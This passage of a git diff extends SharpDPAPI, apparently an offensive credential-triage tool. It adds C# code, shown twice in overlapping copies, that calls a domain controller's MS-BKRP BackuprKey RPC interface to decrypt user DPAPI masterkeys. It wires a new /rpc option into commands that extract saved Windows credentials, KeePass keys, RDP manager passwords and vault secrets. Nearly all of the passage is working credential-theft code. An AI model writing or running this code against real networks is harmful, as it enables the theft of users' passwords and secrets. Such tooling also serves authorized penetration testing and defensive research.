Marshal.FreeHGlobal(memory); + if (TrackedMemoryAllocations != null && TrackedMemoryAllocations.Contains(memory)) + { + TrackedMemoryAllocations.Remove(memory); + } + } + + private static void EnableMemoryTracking() + { + TrackedMemoryAllocations = new List(); + } + + private static void FreeTrackedMemoryAndRemoveTracking() + { + List list = TrackedMemoryAllocations; + TrackedMemoryAllocations = null; + foreach (IntPtr memory in list) + { + Marshal.FreeHGlobal(memory); + } + } + + private IntPtr Bind(string server) + { + IntPtr bindingstring = IntPtr.Zero; + IntPtr binding = IntPtr.Zero; + Int32 status; + + status = RpcStringBindingCompose(null, "ncacn_np", server, @"\pipe\protected_storage", null, out bindingstring); + if (status != 0) + return IntPtr.Zero; + status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); + RpcBindingFree(ref bindingstring); + if (status != 0) + return IntPtr.Zero; + + RPC_SECURITY_QOS qos = new RPC_SECURITY_QOS(); + qos.Version = 1; + qos.Capabilities = 8; + qos.ImpersonationType = 3; + GCHandle qoshandle = GCHandle.Alloc(qos, GCHandleType.Pinned); + + status = RpcBindingSetAuthInfoEx(binding, "ProtectedStorage/" + server, 6, 9, IntPtr.Zero, 0, ref qos); + qoshandle.Free(); + if (status != 0) + { + Unbind(binding); + return IntPtr.Zero; + } + return binding; + } + + private static void Unbind(IntPtr hBinding) + { + RpcBindingFree(ref hBinding); + } + + private byte[] SessionKey; + + SecurityCallbackDelegate securityCallbackDelegate; + private delegate void SecurityCallbackDelegate(IntPtr context); + private void SecurityCallback(IntPtr context) + { + IntPtr SecurityContextHandle; + SecPkgContext_SessionKey sessionKey = new SecPkgContext_SessionKey(); + + int res = I_RpcBindingInqSecurityContext(context, out SecurityContextHandle); + if (res == 0) + { + res = QueryContextAttributes(SecurityContextHandle, 9, ref sessionKey); + if (res == 0) + { + SessionKey = new byte[sessionKey.SessionKeyLength]; + Marshal.Copy(sessionKey.SessionKey, SessionKey, 0, (int)sessionKey.SessionKeyLength); + } + } + } + + private IntPtr GetProcStringHandle(int offset) + { + return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatStringBackuprKeyx64, offset); + } + + private IntPtr GetStubHandle() + { + return stub.AddrOfPinnedObject(); + } + #endregion + + #region MIDL strings + private static byte[] MIDL_ProcFormatStringBackuprKeyx64 = new byte[] { + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x01, + 0x08, 0x00, 0x0c, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x13, 0x20, 0x20, 0x00, 0x28, 0x00, 0x50, 0x21, 0x28, 0x00, 0x08, 0x00, 0x48, 0x00, 0x30, 0x00, + 0x08, 0x00, 0x70, 0x00, 0x38, 0x00, 0x08, 0x00, 0x00 }; + private static byte[] MIDL_TypeFormatStringBackuprKeyx64 = new byte[] { + 0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, + 0x29, 0x00, 0x18, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x28, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c, + 0x00 }; + private static byte[] MIDL_ProcFormatStringBackuprKeyx86 = new byte[] { + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x01, 0x04, 0x00, + 0x0c, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x20, 0x10, 0x00, 0x28, 0x00, 0x50, 0x21, 0x14, 0x00, 0x08, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, + 0x70, 0x00, 0x1c, 0x00, 0x08, 0x00, 0x00 }; + private static byte[] MIDL_TypeFormatStringBackuprKeyx86 = new byte[] { + 0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, + 0x29, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x14, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c, + 0x00 }; + #endregion + + #region RPC structures + [StructLayout(LayoutKind.Sequential)] + private struct DRS_EXTENSIONS_INT + { + public UInt32 cb; + public UInt32 dwFlags; + public Guid SiteObjGuid; + public UInt32 Pid; + public UInt32 dwReplEpoch; + public UInt32 dwFlagsExt; + public Guid ConfigObjGUID; + public UInt32 dwExtCaps; + } + + [StructLayout(LayoutKind.Sequential)] + private struct USN_VECTOR + { + public long usnHighObjUpdate; + public long usnReserved; + public long usnHighPropUpdate; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SCHEMA_PREFIX_TABLE + { + public UInt32 PrefixCount; + public IntPtr pPrefixEntry; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ATTRVALBLOCK + { + public UInt32 valCount; + public IntPtr pAVal; + } + + [StructLayout(LayoutKind.Sequential)] + private struct ATTRBLOCK + { + public UInt32 attrCount; + public IntPtr pAttr; + } + [StructLayout(LayoutKind.Sequential)] + private struct ENTINF + { + public IntPtr pName; + public UInt32 ulFlags; + public ATTRBLOCK AttrBlock; + }; + #endregion + + #region Bkrp class and public interfaces + private IntPtr hBind; + private Guid BACKUPKEY_RESTORE_GUID = new Guid("47270C64-2FC7-499B-AC5B-0E37CDCE899A"); + private Guid MS_BKRP_INTERFACE_ID = new Guid("3DDE7C30-165D-11D1-AB8F-00805F14DB40"); + + public Bkrp() + { + if (IntPtr.Size == 8) + { + InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx64, MIDL_TypeFormatStringBackuprKeyx64, 1, 0); + } + else + { + InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx86, MIDL_TypeFormatStringBackuprKeyx86, 4, 0); + } + } + + ~Bkrp() + { + freeStub(); + Uninitialize(); + } + + public void Initialize(string server, string domain) + { + try + { + this.hBind = Bind(server); + if (this.hBind == IntPtr.Zero) + throw new Exception("Unable to connect to the server " + server); + } + catch (Exception e) + { + if (this.hBind != IntPtr.Zero) + Unbind(this.hBind); + this.hBind = IntPtr.Zero; + } + } + + private void Uninitialize() + { + if (hBind != IntPtr.Zero) + Unbind(hBind); + } + #endregion + + #region drsr rpc functions and decoding functions + public byte[] BackuprKey(byte[] domainKeyBytes) + { + EnableMemoryTracking(); + + IntPtr result = IntPtr.Zero; + var stub = GetStubHandle(); + var handle = GetProcStringHandle(0); + + GCHandle guidHandle = GCHandle.Alloc(this.BACKUPKEY_RESTORE_GUID, GCHandleType.Pinned); + IntPtr guidPtr = guidHandle.AddrOfPinnedObject(); + + GCHandle domainKeyHandle = GCHandle.Alloc(domainKeyBytes, GCHandleType.Pinned); + IntPtr domainKeyPtr = domainKeyHandle.AddrOfPinnedObject(); + + IntPtr ppDataOut = IntPtr.Zero; + IntPtr pcbDataOut = IntPtr.Zero; + + uint domainKeyLength = Convert.ToUInt32(domainKeyBytes.Length); + uint dwParams = Convert.ToUInt32(0); + + try + { + result = NdrClientCall2(stub, handle, this.hBind, guidPtr, domainKeyPtr, domainKeyLength, out ppDataOut, out pcbDataOut, dwParams); + byte[] managedArray = new byte[64]; + IntPtr ptr = new IntPtr(ppDataOut.ToInt64() + 4); + Marshal.Copy(ptr, managedArray, 0, 64); + return managedArray; + } + catch (Exception e) + { + throw new Exception("Error decrypting masterkey via RPC"); + } + finally + { + guidHandle.Free(); + domainKeyHandle.Free(); + this.freeStub(); + FreeTrackedMemoryAndRemoveTracking(); + } + return null; + } + #endregion + } +} \ No newline at end of file diff --git a/SharpDPAPI/Commands/Credentials.cs b/SharpDPAPI/Commands/Credentials.cs index a83c7c6..9af1b8c 100755 --- a/SharpDPAPI/Commands/Credentials.cs +++ b/SharpDPAPI/Commands/Credentials.cs @@ -54,6 +54,10 @@ public void Execute(Dictionary arguments) masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); } } + else if (arguments.ContainsKey("/rpc")) + { + masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + } if (arguments.ContainsKey("/target")) { diff --git a/SharpDPAPI/Commands/Keepass.cs b/SharpDPAPI/Commands/Keepass.cs index 9ef9523..01bdd1a 100644 --- a/SharpDPAPI/Commands/Keepass.cs +++ b/SharpDPAPI/Commands/Keepass.cs @@ -60,6 +60,10 @@ public void Execute(Dictionary arguments) masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); } } + else if (arguments.ContainsKey("/rpc")) + { + masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + } if (arguments.ContainsKey("/target")) { diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs index aee4f58..61f0280 100755 --- a/SharpDPAPI/Commands/Masterkeys.cs +++ b/SharpDPAPI/Commands/Masterkeys.cs @@ -1,6 +1,11 @@ using System; using System.Collections.Generic; +using System.DirectoryServices.ActiveDirectory; using System.IO; +using System.Net; +using System.Security.Cryptography; +using System.Text; +using static System.Net.Mime.MediaTypeNames; namespace SharpDPAPI.Commands { @@ -16,6 +21,7 @@ public void Execute(Dictionary arguments) string password; Dictionary mappings = new Dictionary(); + if (arguments.ContainsKey("/pvk")) { string pvk64 = arguments["/pvk"]; @@ -93,6 +99,10 @@ public void Execute(Dictionary arguments) mappings = Triage.TriageUserMasterKeys(null, true, "", "", "", "", true); } } + else if (arguments.ContainsKey("/rpc")) + { + mappings = Triage.TriageUserMasterKeys(null, rpc: true); + } else { Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key, /password:X or /hashes must be supplied!"); diff --git a/SharpDPAPI/Commands/PS.cs b/SharpDPAPI/Commands/PS.cs index 2a5fc63..d15313f 100755 --- a/SharpDPAPI/Commands/PS.cs +++ b/SharpDPAPI/Commands/PS.cs @@ -63,6 +63,10 @@ public void Execute(Dictionary arguments) masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); } } + else if (arguments.ContainsKey("/rpc")) + { + masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + } Triage.TriagePSCredFile(masterkeys, target, unprotect); } diff --git a/SharpDPAPI/Commands/RDG.cs b/SharpDPAPI/Commands/RDG.cs index 9c9adbf..323605f 100755 --- a/SharpDPAPI/Commands/RDG.cs +++ b/SharpDPAPI/Commands/RDG.cs @@ -60,6 +60,10 @@ public void Execute(Dictionary arguments) masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); } } + else if (arguments.ContainsKey("/rpc")) + { + masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + } if (arguments.ContainsKey("/target")) { diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs index ee2e790..30a136a 100755 --- a/SharpDPAPI/Commands/Triage.cs +++ b/SharpDPAPI/Commands/Triage.cs @@ -52,6 +52,10 @@ public void Execute(Dictionary arguments) masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); } } + else if (arguments.ContainsKey("/rpc")) + { + masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + } if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) { diff --git a/SharpDPAPI/Commands/Vaults.cs b/SharpDPAPI/Commands/Vaults.cs index 3f611ec..4021566 100755 --- a/SharpDPAPI/Commands/Vaults.cs +++ b/SharpDPAPI/Commands/Vaults.cs @@ -52,6 +52,10 @@ public void Execute(Dictionary arguments) masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); } } + else if (arguments.ContainsKey("/rpc")) + { + masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + } if (arguments.ContainsKey("/target")) { diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj index 05b1ba5..da9ed40 100755 --- a/SharpDPAPI/SharpDPAPI.csproj +++ b/SharpDPAPI/SharpDPAPI.csproj @@ -37,6 +37,7 @@ prompt 4 false + false AnyCPU @@ -53,6 +54,8 @@ + + @@ -83,6 +86,7 @@ + diff --git a/SharpDPAPI/lib/Bkrp.cs b/SharpDPAPI/lib/Bkrp.cs new file mode 100644 index 0000000..377b6ac --- /dev/null +++ b/SharpDPAPI/lib/Bkrp.cs @@ -0,0 +1,542 @@ +using Microsoft.Win32.SafeHandles; +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Runtime.ConstrainedExecution; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.Cryptography; +using System.Security.Permissions; +using System.Security.Principal; +using System.Text; + +namespace SharpDPAPI +{ + /// + /// Inspired by vletoux and gentilkiwi + /// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1 + /// Mimikatz: kull_m_rpc_ms-bkrp_c.c + /// + public class Bkrp + { + #region pinvoke + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW", + CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding); + + [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern IntPtr NdrClientCall2(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr h, IntPtr pguidActionAgent, IntPtr pDataIn, UInt32 cbDataIn, out IntPtr ppDataOut, out IntPtr pcbDataOut, UInt32 dwParam); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingFree(ref IntPtr lpString); + + //#region RpcStringBindingCompose + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcStringBindingCompose( + String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, + out IntPtr lpBindingString + ); + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_SECURITY_QOS + { + public Int32 Version; + public Int32 Capabilities; + public Int32 IdentityTracking; + public Int32 ImpersonationType; + }; + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoExW", CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, SetLastError = false)] + private static extern Int32 RpcBindingSetAuthInfoEx(IntPtr lpBinding, string ServerPrincName, + UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr identity, UInt32 AuthzSvc, ref RPC_SECURITY_QOS SecurityQOS); + + [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] + private static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); + + [DllImport("Rpcrt4.dll", EntryPoint = "I_RpcBindingInqSecurityContext", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)] + private static extern Int32 I_RpcBindingInqSecurityContext(IntPtr Binding, out IntPtr SecurityContextHandle); + + + [StructLayout(LayoutKind.Sequential)] + private struct SecPkgContext_SessionKey + { + public UInt32 SessionKeyLength; + public IntPtr SessionKey; + } + + [DllImport("secur32.Dll", CharSet = CharSet.Auto, SetLastError = false)] + private static extern int QueryContextAttributes(IntPtr hContext, + uint ulAttribute, + ref SecPkgContext_SessionKey pContextAttributes); + + [StructLayout(LayoutKind.Sequential)] + private struct CRYPTO_BUFFER + { + public UInt32 Length; + public UInt32 MaximumLength; + public IntPtr Buffer; + } + + [DllImport("advapi32.Dll", CharSet = CharSet.Auto, SetLastError = false, EntryPoint = "SystemFunction032")] + private static extern int SystemFunction032(ref CRYPTO_BUFFER data, ref CRYPTO_BUFFER key); + + [DllImport("advapi32.dll", SetLastError = true, EntryPoint = "SystemFunction027")] + private static extern int RtlDecryptDES2blocks1DWORD(byte[] data, ref UInt32 key, IntPtr output); + + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthorityCount(IntPtr psid); + #endregion + + #region rpc initialization + private byte[] MIDL_ProcFormatString; + private byte[] MIDL_TypeFormatString; + private GCHandle procString; + private GCHandle formatString; + private GCHandle stub; + private GCHandle faultoffsets; + private GCHandle clientinterface; + + public UInt32 RPCTimeOut = 1000; + + [StructLayout(LayoutKind.Sequential)] + private struct COMM_FAULT_OFFSETS + { + public short CommOffset; + public short FaultOffset; + } + + [StructLayout(LayoutKind.Sequential)] + private struct GENERIC_BINDING_ROUTINE_PAIR + { + public IntPtr Bind; + public IntPtr Unbind; + } + + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_VERSION + { + public ushort MajorVersion; + public ushort MinorVersion; + + public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) + { + MajorVersion = InterfaceVersionMajor; + MinorVersion = InterfaceVersionMinor; + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_SYNTAX_IDENTIFIER + { + public Guid SyntaxGUID; + public RPC_VERSION SyntaxVersion; + } + + [StructLayout(LayoutKind.Sequential)] + private struct RPC_CLIENT_INTERFACE + { + public uint Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable; + public uint RpcProtseqEndpointCount; + public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint; + public IntPtr Reserved; + public IntPtr InterpreterInfo; + public uint Flags; + + public static readonly Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, + 0x10, + 0x48, 0x60); + + public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) + { + Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE)); + RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor); + InterfaceId = new RPC_SYNTAX_IDENTIFIER(); + InterfaceId.SyntaxGUID = iid; + InterfaceId.SyntaxVersion = rpcVersion; + rpcVersion = new RPC_VERSION(2, 0); + TransferSyntax = new RPC_SYNTAX_IDENTIFIER(); + TransferSyntax.SyntaxGUID = IID_SYNTAX; + TransferSyntax.SyntaxVersion = rpcVersion; + DispatchTable = IntPtr.Zero; + RpcProtseqEndpointCount = 0u; + RpcProtseqEndpoint = IntPtr.Zero; + Reserved = IntPtr.Zero; + InterpreterInfo = IntPtr.Zero; + Flags = 0u; + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct MIDL_STUB_DESC + { + public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation; + public IntPtr pfnAllocate; + public IntPtr pfnFree; + public IntPtr pAutoBindHandle; + public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines; + public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs; + public IntPtr /*EXPR_EVAL*/ apfnExprEval; + public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple; + public IntPtr pFormatTypes; + public int fCheckBounds; + /* Ndr library version. */ + public uint Version; + public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct; + public int MIDLVersion; + public IntPtr CommFaultOffsets; + // New fields for version 3.0+ + public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple; + // Notify routines - added for NT5, MIDL 5.0 + public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable; + public IntPtr mFlags; + // International support routines - added for 64bit post NT5 + public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables; + public IntPtr ProxyServerInfo; + public IntPtr /*NDR_EXPR_DESC*/ pExprInfo; + // Fields up to now present in win2000 release. + + public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, + IntPtr pfnAllocatePtr, IntPtr pfnFreePtr, IntPtr aGenericBindingRoutinePairsPtr) + { + pFormatTypes = pFormatTypesPtr; + RpcInterfaceInformation = RpcInterfaceInformationPtr; + CommFaultOffsets = IntPtr.Zero; + pfnAllocate = pfnAllocatePtr; + pfnFree = pfnFreePtr; + pAutoBindHandle = IntPtr.Zero; + apfnNdrRundownRoutines = IntPtr.Zero; + aGenericBindingRoutinePairs = aGenericBindingRoutinePairsPtr; + apfnExprEval = IntPtr.Zero; + aXmitQuintuple = IntPtr.Zero; + fCheckBounds = 1; + Version = 0x60000; + pMallocFreeStruct = IntPtr.Zero; + MIDLVersion = 0x8000253; + aUserMarshalQuadruple = IntPtr.Zero; + NotifyRoutineTable = IntPtr.Zero; + mFlags = new IntPtr(0x00000001); + CsRoutineTables = IntPtr.Zero; + ProxyServerInfo = IntPtr.Zero; + pExprInfo = IntPtr.Zero; + } + } + + private void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, ushort MajorVerson, ushort MinorVersion) + { + this.MIDL_ProcFormatString = MIDL_ProcFormatString; + this.MIDL_TypeFormatString = MIDL_TypeFormatString; + procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned); + + RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion); + + COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS(); + commFaultOffset.CommOffset = -1; + commFaultOffset.FaultOffset = -1; + faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned); + clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned); + formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned); + + MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), + clientinterface.AddrOfPinnedObject(), + Marshal.GetFunctionPointerForDelegate((allocmemory)AllocateMemory), + Marshal.GetFunctionPointerForDelegate((freememory)FreeMemory), + IntPtr.Zero); + + stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned); + } + + private void freeStub() + { + procString.Free(); + faultoffsets.Free(); + clientinterface.Free(); + formatString.Free(); + stub.Free(); + } + + private static List TrackedMemoryAllocations; + + delegate IntPtr allocmemory(int size); + private static IntPtr AllocateMemory(int size) + { + IntPtr memory = Marshal.AllocHGlobal(size); + if (TrackedMemoryAllocations != null) + { + TrackedMemoryAllocations.Add(memory); + } + return memory; + } + + delegate void freememory(IntPtr memory); + private static void FreeMemory(IntPtr memory) + { + Marshal.FreeHGlobal(memory); + if (TrackedMemoryAllocations != null && TrackedMemoryAllocations.Contains(memory)) + { + TrackedMemoryAllocations.Remove(memory); + } + } + + private static void EnableMemoryTracking() + { + TrackedMemoryAllocations = new List(); + } + + private static void FreeTrackedMemoryAndRemoveTracking() + { + List list = TrackedMemoryAllocations; + TrackedMemoryAllocations = null; + foreach (IntPtr memory in list) + { + Marshal.FreeHGlobal(memory); + } + } + + private IntPtr Bind(string server) + { + IntPtr bindingstring = IntPtr.Zero; + IntPtr binding = IntPtr.Zero; + Int32 status; + + status = RpcStringBindingCompose(null, "ncacn_np", server, @"\pipe\protected_storage", null, out bindingstring); + if (status != 0) + return IntPtr.Zero; + status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); + RpcBindingFree(ref bindingstring); + if (status != 0) + return IntPtr.Zero; + + RPC_SECURITY_QOS qos = new RPC_SECURITY_QOS(); + qos.Version = 1; + qos.Capabilities = 8; + qos.ImpersonationType = 3; + GCHandle qoshandle = GCHandle.Alloc(qos, GCHandleType.Pinned); + + status = RpcBindingSetAuthInfoEx(binding, "ProtectedStorage/" + server, 6, 9, IntPtr.Zero, 0, ref qos); + qoshandle.Free(); + if (status != 0) + { + Unbind(binding); + return IntPtr.Zero; + } + return binding; + } + + private static void Unbind(IntPtr hBinding) + { + RpcBindingFree(ref hBinding); + } + + private byte[] SessionKey; + + SecurityCallbackDelegate securityCallbackDelegate; + private delegate void SecurityCallbackDelegate(IntPtr context); + private void SecurityCallback(IntPtr context) + { + IntPtr SecurityContextHandle; + SecPkgContext_SessionKey sessionKey = new SecPkgContext_SessionKey(); + + int res = I_RpcBindingInqSecurityContext(context, out SecurityContextHandle); + if (res == 0) + { + res = QueryContextAttributes(SecurityContextHandle, 9, ref sessionKey); + if (res == 0) + { + SessionKey = new byte[sessionKey.SessionKeyLength]; + Marshal.Copy(sessionKey.SessionKey, SessionKey, 0, (int)sessionKey.SessionKeyLength); + } + } + } + + private IntPtr GetProcStringHandle(int offset) + { + return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatStringBackuprKeyx64, offset); + } + + private IntPtr GetStubHandle() + { + return stub.AddrOfPinnedObject(); + } + #endregion + + #region MIDL strings + private static byte[] MIDL_ProcFormatStringBackuprKeyx64 = new byte[] { + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x01, + 0x08, 0x00, 0x0c, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x13, 0x20, 0x20, 0x00, 0x28, 0x00, 0x50, 0x21, 0x28, 0x00, 0x08, 0x00, 0x48, 0x00, 0x30, 0x00, + 0x08, 0x00, 0x70, 0x00, 0x38, 0x00, 0x08, 0x00, 0x00 }; + private static byte[] MIDL_TypeFormatStringBackuprKeyx64 = new byte[] { + 0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, + 0x29, 0x00, 0x18, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x28, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c, + 0x00 }; + private static byte[] MIDL_ProcFormatStringBackuprKeyx86 = new byte[] { + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x01, 0x04, 0x00, + 0x0c, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x20, 0x10, 0x00, 0x28, 0x00, 0x50, 0x21, 0x14, 0x00, 0x08, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, + 0x70, 0x00, 0x1c, 0x00, 0x08, 0x00, 0x00 }; + private static byte[] MIDL_TypeFormatStringBackuprKeyx86 = new byte[] { + 0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, + 0x29, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x14, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c, + 0x00 }; + #endregion + + #region RPC structures + [StructLayout(LayoutKind.Sequential)] + private struct DRS_EXTENSIONS_INT + { + public UInt32 cb; + public UInt32 dwFlags; + public Guid SiteObjGuid; + public UInt32 Pid; + public UInt32 dwReplEpoch; 